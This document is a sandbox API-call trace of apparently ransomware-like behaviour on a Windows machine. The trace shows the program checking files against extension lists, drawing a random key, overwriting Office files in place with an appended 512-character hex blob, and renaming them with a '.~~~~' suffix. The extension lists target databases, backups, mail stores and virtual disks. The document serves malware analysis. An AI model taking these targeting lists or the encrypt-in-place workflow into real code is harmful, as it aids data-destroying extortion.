	[0142.373] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26236318656) returned 1
	[0142.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe431f30, dwHighDateTime=0x1d60e1e)) 
	[0142.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fac48
	[0142.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac48 | out: hHeap=0x300000) returned 1
	[0142.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a90c0
	[0142.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c68d8
	[0142.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a90c0 | out: hHeap=0x300000) returned 1
	[0142.374] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.374] GetLastError () returned 0x0
	[0142.375] GetLastError () returned 0x0
	[0142.375] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.375] GetLastError () returned 0x0
	[0142.375] GetLastError () returned 0x0
	[0142.375] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x645b, lpOverlapped=0x0) returned 1
	[0142.377] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff9ba5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.378] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x645b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x645b, lpOverlapped=0x0) returned 1
	[0142.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.378] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.378] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.378] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.378] CloseHandle (hObject=0x114) returned 1
	[0142.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a90c0
	[0142.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif.~~~~")) returned 1
	[0142.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a90c0 | out: hHeap=0x300000) returned 1
	[0142.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.381] GetLastError () returned 0x0
	[0142.381] RtlWakeConditionVariable () returned 0x0
	[0142.381] GetCurrentThreadId () returned 0xaf0
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".scr") returned 0x0
	[0142.382] lstrlenW (lpString=".cmd") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".cmd") returned 0x0
	[0142.382] lstrlenW (lpString=".dll") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dll") returned 0x0
	[0142.382] lstrlenW (lpString=".bat") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".bat") returned 0x0
	[0142.382] lstrlenW (lpString=".cpl") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".cpl") returned 0x0
	[0142.382] lstrlenW (lpString=".sys") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".sys") returned 0x0
	[0142.382] lstrlenW (lpString=".msc") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".msc") returned 0x0
	[0142.382] lstrlenW (lpString=".com") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".com") returned 0x0
	[0142.382] lstrlenW (lpString=".lnk") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".lnk") returned 0x0
	[0142.382] lstrlenW (lpString=".msp") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".msp") returned 0x0
	[0142.382] lstrlenW (lpString=".pif") returned 4
	[0142.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".pif") returned 0x0
	[0142.383] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.384] lstrlenW (lpString=".sqb") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".sqb") returned 0x0
	[0142.385] lstrlenW (lpString=".ost") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".ost") returned 0x0
	[0142.385] lstrlenW (lpString=".txt") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".txt") returned 0x0
	[0142.385] lstrlenW (lpString=".mdt") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".mdt") returned 0x0
	[0142.385] lstrlenW (lpString=".BDB") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".BDB") returned 0x0
	[0142.385] lstrlenW (lpString=".eql") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".eql") returned 0x0
	[0142.385] lstrlenW (lpString=".DBF") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DBF") returned 0x0
	[0142.385] lstrlenW (lpString=".EQL") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".EQL") returned 0x0
	[0142.385] lstrlenW (lpString=".FDB") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".FDB") returned 0x0
	[0142.385] lstrlenW (lpString=".EDB") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".EDB") returned 0x0
	[0142.385] lstrlenW (lpString=".DACPAC") returned 7
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.385] lstrlenW (lpString=".VHD") returned 4
	[0142.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".VHD") returned 0x0
	[0142.385] lstrlenW (lpString=".DBV") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DBV") returned 0x0
	[0142.386] lstrlenW (lpString=".dacpac") returned 7
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.386] lstrlenW (lpString=".sdf") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".sdf") returned 0x0
	[0142.386] lstrlenW (lpString=".accdb") returned 6
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".accdb") returned 0x0
	[0142.386] lstrlenW (lpString=".DBX") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DBX") returned 0x0
	[0142.386] lstrlenW (lpString=".MDT") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".MDT") returned 0x0
	[0142.386] lstrlenW (lpString=".SQB") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".SQB") returned 0x0
	[0142.386] lstrlenW (lpString=".vhd") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".vhd") returned 0x0
	[0142.386] lstrlenW (lpString=".bac") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".bac") returned 0x0
	[0142.386] lstrlenW (lpString=".mdf") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".mdf") returned 0x0
	[0142.386] lstrlenW (lpString=".BAK") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".BAK") returned 0x0
	[0142.386] lstrlenW (lpString=".BAC") returned 4
	[0142.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".BAC") returned 0x0
	[0142.386] lstrlenW (lpString=".dbs") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dbs") returned 0x0
	[0142.387] lstrlenW (lpString=".vhdx") returned 5
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.387] lstrlenW (lpString=".NDF") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".NDF") returned 0x0
	[0142.387] lstrlenW (lpString=".dat") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dat") returned 0x0
	[0142.387] lstrlenW (lpString=".DBS") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DBS") returned 0x0
	[0142.387] lstrlenW (lpString=".CKP") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".CKP") returned 0x0
	[0142.387] lstrlenW (lpString=".edb") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".edb") returned 0x0
	[0142.387] lstrlenW (lpString=".PST") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".PST") returned 0x0
	[0142.387] lstrlenW (lpString=".dbf") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dbf") returned 0x0
	[0142.387] lstrlenW (lpString=".SQL") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".SQL") returned 0x0
	[0142.387] lstrlenW (lpString=".pst") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".pst") returned 0x0
	[0142.387] lstrlenW (lpString=".dbv") returned 4
	[0142.387] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dbv") returned 0x0
	[0142.387] lstrlenW (lpString=".SDF") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".SDF") returned 0x0
	[0142.388] lstrlenW (lpString=".dtxs") returned 5
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.388] lstrlenW (lpString=".db3") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".db3") returned 0x0
	[0142.388] lstrlenW (lpString=".OST") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".OST") returned 0x0
	[0142.388] lstrlenW (lpString=".dbx") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dbx") returned 0x0
	[0142.388] lstrlenW (lpString=".DB3") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DB3") returned 0x0
	[0142.388] lstrlenW (lpString=".DAT") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DAT") returned 0x0
	[0142.388] lstrlenW (lpString=".VHDX") returned 5
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.388] lstrlenW (lpString=".ndf") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".ndf") returned 0x0
	[0142.388] lstrlenW (lpString=".DB") returned 3
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DB") returned 0x0
	[0142.388] lstrlenW (lpString=".sql") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".sql") returned 0x0
	[0142.388] lstrlenW (lpString=".MYD") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".MYD") returned 0x0
	[0142.388] lstrlenW (lpString=".DBT") returned 4
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DBT") returned 0x0
	[0142.388] lstrlenW (lpString=".ACCDB") returned 6
	[0142.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.389] lstrlenW (lpString=".fdb") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".fdb") returned 0x0
	[0142.389] lstrlenW (lpString=".bak") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".bak") returned 0x0
	[0142.389] lstrlenW (lpString=".myd") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".myd") returned 0x0
	[0142.389] lstrlenW (lpString=".DTXS") returned 5
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.389] lstrlenW (lpString=".ckp") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".ckp") returned 0x0
	[0142.389] lstrlenW (lpString=".dbt") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".dbt") returned 0x0
	[0142.389] lstrlenW (lpString=".db") returned 3
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".db") returned 0x0
	[0142.389] lstrlenW (lpString=".TXT") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".TXT") returned 0x0
	[0142.389] lstrlenW (lpString=".MDF") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".MDF") returned 0x0
	[0142.389] lstrlenW (lpString=".bdb") returned 4
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".bdb") returned 0x0
	[0142.389] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.468] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.468] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0142.469] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.469] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.469] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26245909077) returned 1
	[0142.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbe53c8d0, dwHighDateTime=0x1d60e1e)) 
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fab30
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab30 | out: hHeap=0x300000) returned 1
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a92b8
	[0142.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a92b8 | out: hHeap=0x300000) returned 1
	[0142.470] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.470] GetLastError () returned 0x0
	[0142.470] GetLastError () returned 0x0
	[0142.470] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.470] GetLastError () returned 0x0
	[0142.470] GetLastError () returned 0x0
	[0142.470] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x452b, lpOverlapped=0x0) returned 1
	[0142.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffbad5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.475] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x452b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x452b, lpOverlapped=0x0) returned 1
	[0142.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.476] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.476] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.476] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
